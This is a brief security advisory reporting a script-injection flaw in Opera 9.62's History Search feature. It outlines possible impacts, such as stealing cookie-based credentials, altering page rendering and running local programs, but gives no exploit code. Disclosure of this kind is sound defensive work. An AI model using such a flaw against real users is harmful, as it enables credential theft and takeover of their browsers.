Opera Web Browser is prone to an input-validation vulnerability because of the way it stores data used for the History Search feature.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, obtain sensitive information, alter the browser's configuration settings, or execute local programs in the context of the browser; other attacks are also possible.

Opera Web Browser 9.62 is vulnerable.
